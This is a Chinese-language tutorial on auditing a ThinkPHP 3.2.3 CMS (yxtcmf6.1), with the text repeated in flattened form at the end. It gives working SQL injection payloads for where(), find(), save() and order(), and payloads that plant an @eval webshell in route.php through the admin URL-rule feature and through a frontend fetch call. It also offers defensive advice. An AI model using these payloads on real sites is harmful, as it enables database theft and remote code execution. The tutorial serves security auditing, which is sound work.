基于ThinkPHP的CMS审计思路
字数 1550 2025-08-15 21:31:19

ThinkPHP CMS代码审计实战指南

前言

本文基于ThinkPHP 3.2.3框架的yxtcmf6.1 CMS系统进行代码审计实战教学,详细讲解审计思路、工具使用和漏洞挖掘过程。

审计准备

必要工具

  • PHPStorm:代码查看与调试
  • Seay源码审计系统:自动化审计工具
  • phpStudy:本地环境搭建
  • AWVS:辅助漏洞扫描

基础了解

  1. MVC架构:了解Model-View-Controller结构
  2. ThinkPHP 3.2.3路由:URL对应文件位置规则
    • 示例:http://127.0.0.1:8014/index.php/User/Login/index
    • 对应文件:/application/User/LoginController.class.php
    • 对应函数:index()

ThinkPHP 3.2.3常见SQL注入模式

1. where()方法注入

$username = $_GET['username'];
$data = M('users')->where(array("username"=>$username))->find();

Payload:

username[0]=exp&username[1]=='admin' and updatexml(1,concat(0x3a,(user())),1)%23

关键点

  • 不能使用I($_GET['username'])方法接收参数(会过滤'exp')
  • 最终SQL:WHERE ( username='admin' and updatexml(1,concat(0x3a,(user())),1)# )

2. find/select/delete()直接注入

$id = I("id");
$data = M("users")->find($id);

Payload:

id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) %23

关键点

  • 无需单引号闭合
  • 最终SQL:WHERE ( 1 and updatexml(1,concat(0x7e,user(),0x7e),1) # )

3. where()+save()组合注入

$condition["username"] = I("username");
$data["password"] = I("password");
$res = M("users")->where($condition)->save($data);

Payload:

username[0]=bind&username[1]=0 and (updatexml(1,concat(0x3a,(user())),1))%23&password=123456

4. order()方法注入

$username = I("username");
$order = I("order");
$data = M("users")->where(array("username"=>$username))->order($order)->find();

Payload:

username=admin&order[updatexml(1,concat(0x3a,user()),1)]

最终SQL:
ORDER BY updatexml(1,concat(0x3a,user()),1)

实战漏洞挖掘

1. 后台Ad控制器SQL注入

位置/application/Admin/Controller/AdController.class.php

漏洞代码

$id = $_REQUEST['ad_id'];
$where = "ad_id=$id";
$ad = M("ad")->where($where)->find();

利用方式

  • 直接通过括号闭合进行注入
  • 无需单引号闭合

2. 前台register控制器SQL注入

位置:注册功能相关控制器

关键点

  • where()条件参数可控
  • 可构造特定Payload实现注入

3. 后台任意文件读取

发现方式

  • 通过自动审计发现可疑文件操作函数
  • 跟踪变量可控性

4. 后台文件写入GetShell

漏洞位置:路由规则添加功能

利用步骤

  1. 访问后台URL规则添加功能
  2. 构造特殊Payload:
    url=aaa',@eval($_REQUEST['a']),' 
    full_url=a/b/c
    
    url=aaa 
    full_url=a/b/c',@eval($_REQUEST['a']),'
    
  3. 系统将恶意代码写入route.php

关键点

  • full_url必须包含a/b/c格式
  • 利用单引号闭合插入PHP代码

5. 前台文件写入GetShell

利用方式

http://127.0.0.1:8014/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(php>

执行流程

  1. 检查缓存文件是否存在
  2. 不存在则写入恶意内容
  3. 存在则包含执行

审计技巧总结

  1. 全局搜索关键词

    • ->find(
    • ->select(
    • ->delete(
    • ->save(
    • ->order(
  2. 自动审计筛选

    • 优先检查直接输出结果的函数:readfile(), unlink()
    • 次选需要输出的函数:fread(), fgets()
    • 过滤框架核心文件告警
  3. 参数跟踪

    • 检查用户输入是否可控
    • 跟踪参数传递过程
    • 验证过滤机制有效性
  4. 辅助验证

    • 使用AWVS等工具二次验证
    • 搭建测试环境实际验证

防御建议

  1. 对所有用户输入使用I()方法过滤
  2. 避免直接拼接SQL语句
  3. 关键操作添加权限验证
  4. 文件操作限制目录和扩展名
  5. 及时更新框架版本

通过本教程,您应该掌握了ThinkPHP CMS代码审计的基本方法和常见漏洞模式。实际审计时需要结合具体业务逻辑,耐心跟踪数据流,才能发现更多安全问题。

ThinkPHP CMS代码审计实战指南 前言 本文基于ThinkPHP 3.2.3框架的yxtcmf6.1 CMS系统进行代码审计实战教学,详细讲解审计思路、工具使用和漏洞挖掘过程。 审计准备 必要工具 PHPStorm :代码查看与调试 Seay源码审计系统 :自动化审计工具 phpStudy :本地环境搭建 AWVS :辅助漏洞扫描 基础了解 MVC架构 :了解Model-View-Controller结构 ThinkPHP 3.2.3路由 :URL对应文件位置规则 示例: http://127.0.0.1:8014/index.php/User/Login/index 对应文件: /application/User/LoginController.class.php 对应函数: index() ThinkPHP 3.2.3常见SQL注入模式 1. where()方法注入 Payload : 关键点 : 不能使用 I($_GET['username']) 方法接收参数(会过滤'exp') 最终SQL: WHERE ( username='admin' and updatexml(1,concat(0x3a,(user())),1)# ) 2. find/select/delete()直接注入 Payload : 关键点 : 无需单引号闭合 最终SQL: WHERE ( 1 and updatexml(1,concat(0x7e,user(),0x7e),1) # ) 3. where()+save()组合注入 Payload : 4. order()方法注入 Payload : 最终SQL : ORDER BY updatexml(1,concat(0x3a,user()),1) 实战漏洞挖掘 1. 后台Ad控制器SQL注入 位置 : /application/Admin/Controller/AdController.class.php 漏洞代码 : 利用方式 : 直接通过括号闭合进行注入 无需单引号闭合 2. 前台register控制器SQL注入 位置 :注册功能相关控制器 关键点 : where() 条件参数可控 可构造特定Payload实现注入 3. 后台任意文件读取 发现方式 : 通过自动审计发现可疑文件操作函数 跟踪变量可控性 4. 后台文件写入GetShell 漏洞位置 :路由规则添加功能 利用步骤 : 访问后台URL规则添加功能 构造特殊Payload: 或 系统将恶意代码写入 route.php 关键点 : full_url 必须包含 a/b/c 格式 利用单引号闭合插入PHP代码 5. 前台文件写入GetShell 利用方式 : 执行流程 : 检查缓存文件是否存在 不存在则写入恶意内容 存在则包含执行 审计技巧总结 全局搜索关键词 : ->find( ->select( ->delete( ->save( ->order( 自动审计筛选 : 优先检查直接输出结果的函数: readfile() , unlink() 次选需要输出的函数: fread() , fgets() 过滤框架核心文件告警 参数跟踪 : 检查用户输入是否可控 跟踪参数传递过程 验证过滤机制有效性 辅助验证 : 使用AWVS等工具二次验证 搭建测试环境实际验证 防御建议 对所有用户输入使用 I() 方法过滤 避免直接拼接SQL语句 关键操作添加权限验证 文件操作限制目录和扩展名 及时更新框架版本 通过本教程,您应该掌握了ThinkPHP CMS代码审计的基本方法和常见漏洞模式。实际审计时需要结合具体业务逻辑,耐心跟踪数据流,才能发现更多安全问题。